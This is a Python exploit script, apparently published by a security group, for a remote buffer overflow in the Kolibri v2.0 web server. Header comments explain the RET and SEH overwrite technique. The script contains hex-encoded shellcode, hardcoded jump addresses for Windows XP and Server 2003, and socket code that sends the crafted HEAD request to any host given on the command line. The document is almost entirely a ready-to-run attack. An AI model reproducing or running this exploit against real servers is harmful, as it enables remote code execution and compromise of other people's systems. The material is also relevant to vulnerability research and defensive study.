#!/usr/bin/env python

#     _             ____  __            __    ___
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/ 
#                   Live by the byte     |_/_/ 
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader (gsog2009 [a7] homtail [d0t] com)
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# Bug discovered by Pr0T3cT10n  
# Exploited by TheLeader, Debug
# -----------------------------------
# Description:
#
# Kolibri v2.0 is vulnerable to a remote buffer overflow attack.
# By sending a malformed HEAD request, we are able to overwrite both the return address and an SEH handler.
# Null bytes terminate the request though, but we are able to partially overwrite with a pointer to 
# a POP + POP + RET instruction inside kolibri.exe and gain control over the execution via SEH.
# This although gets complicated because the SEH handler offset between XP/2K3 and Vista/W7 is different
# by 2 bytes (probably due to local stack variables), thus we are able to cover only 2 operating system with the SEH overwrite exploit.
#
# In order to successfully exploit the RET overwrite, we need to either overwrite ret with jmp to the stack
# and then overwrite the stack with our shellcode, or find another way to get to our shellcode. Since null
# terminates the request string, it is impossible to pratially overwrite RET with an address from the binary
# and then overwrite with shellcode. We attempted finding another reliable way to get to our shellcode but haven't succeeded.
# The most reasonable option left is to overwrite RET with an OS specific address from a DLL that gets loaded by Kolibri.
# -----------------------------------
#
# Exploit Title: Kolibri v2.0 Buffer Overflow RET + SEH exploit (HEAD)
# Date: 24/12/2010
# Author: TheLeader
# Affected Version: Kolibri-2.0
# Tested on: Windows 7 x86 ENG/HEB , Windows Server 2003 SP2 ENG, Windows XP SP3 ENG
# ISRAEL, NULLBYTE.ORG.IL

import socket
import sys

print "\n  Kolibri v2.0 Buffer Overflow RET + SEH exploit"

usage = (
"  Usage: kexploit.py host port [mode]\n\n"
"  Modes:\n"
"    1 - RET = XP SP3 ENG, SEH = VISTA + WIN7 (default)\n"
"    2 - RET = SERVER2003 SP2 ENG, SEH = VISTA + WIN7\n"
"    3 - RET = XP SP3 ENG, SEH = XP + SERVER2003\n"
"    4 - RET = SERVER2003 SP2 ENG, SEH = XP + SERVER2003\n"
)

if len(sys.argv) < 3:
	print usage
	sys.exit(0)

host = sys.argv[1]

try:
	port = int(sys.argv[2])
except ValueError:
	print "  [-] Error: port must be numeric!"
	sys.exit(1)

if len(sys.argv) > 3:
	try:
		mode = int(sys.argv[3])
	except ValueError:
		print "  [-] Error: mode must be numeric!"
		sys.exit(1)
else:
	mode = 1

# ret offsets = 213, 515
ret_offset = 515

seh_offset_xp_2k3 = 792 # WINXP / WS2K3
seh_offset_vista_7 = 794 # VISTA / WIN7

# badchars = [0x00, 0x0d, 0x0a, 0x20, 0x3d, 0x3f]
shellcode = (
"\xb8\xe2\x96\x27\xb0\x33\xc9\xda\xde\xd9\x74\x24\xf4\x5b"
"\xb1\x32\x31\x43\x10\x83\xeb\xfc\x03\xa1\x9a\xc5\x45\xd9"
"\x4b\x80\xa6\x21\x8c\xf3\x2f\xc4\xbd\x21\x4b\x8d\xec\xf5"
"\x1f\xc3\x1c\x7d\x4d\xf7\x97\xf3\x5a\xf8\x10\xb9\xbc\x37"
"\xa0\x0f\x01\x9b\x62\x11\xfd\xe1\xb6\xf1\x3c\x2a\xcb\xf0"
"\x79\x56\x24\xa0\xd2\x1d\x97\x55\x56\x63\x24\x57\xb8\xe8"
"\x14\x2f\xbd\x2e\xe0\x85\xbc\x7e\x59\x91\xf7\x66\xd1\xfd"
"\x27\x97\x36\x1e\x1b\xde\x33\xd5\xef\xe1\x95\x27\x0f\xd0"
"\xd9\xe4\x2e\xdd\xd7\xf5\x77\xd9\x07\x80\x83\x1a\xb5\x93"
"\x57\x61\x61\x11\x4a\xc1\xe2\x81\xae\xf0\x27\x57\x24\xfe"
"\x8c\x13\x62\xe2\x13\xf7\x18\x1e\x9f\xf6\xce\x97\xdb\xdc"
"\xca\xfc\xb8\x7d\x4a\x58\x6e\x81\x8c\x04\xcf\x27\xc6\xa6"
"\x04\x51\x85\xac\xdb\xd3\xb3\x89\xdc\xeb\xbb\xb9\xb4\xda"
"\x30\x56\xc2\xe2\x92\x13\x3c\xa9\xbf\x35\xd5\x74\x2a\x04"
"\xb8\x86\x80\x4a\xc5\x04\x21\x32\x32\x14\x40\x37\x7e\x92"
"\xb8\x45\xef\x77\xbf\xfa\x10\x52\xdc\x9d\x82\x3e\x23")

ret_xp_sp3 = "\x13\x44\x87\x7C" # 0x7C874413 WINXP SP3 JMP ESP @ kernel32.dll
ret_2k3_sp2 = "\xC3\x3B\xF7\x76" # 0x76F73BC3 WS2K3 SP2 JMP ESP @ winrnr.dll

if mode == 1:
	ret = ret_xp_sp3
	seh_offset = seh_offset_vista_7
elif mode == 2:
	ret = ret_2k3_sp2
	seh_offset = seh_offset_vista_7
elif mode == 3:
	ret = ret_xp_sp3
	seh_offset = seh_offset_xp_2k3
elif mode == 4:
	ret = ret = ret_2k3_sp2
	seh_offset = seh_offset_xp_2k3

seh = "\x67\x1a\x48" # 0x0045586B @ kolibri.exe POP + POP + RET

nseh="\x90\x90\xeb\xf7"
jmp_back2 = "\xE9\x12\xFF\xFF\xFF"

buf = "\x41" * (ret_offset)
nops = "\x90" * (seh_offset - len(buf + ret + shellcode + jmp_back2 + nseh))

req = ("HEAD /" + buf + ret + nops + shellcode + jmp_back2 + nseh + seh + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Language: he,en-us;q=0.7,en;q=0.3\r\n"
"Accept-Encoding: gzip,deflate\r\n"
"Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

print "  [+] Connecting to %s:%d" % (host, port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

print "  [+] Sending payload.."
s.send(req)
data = s.recv(1024)

print "  [+] Closing connection.."
s.close()

print "  [+] Done!"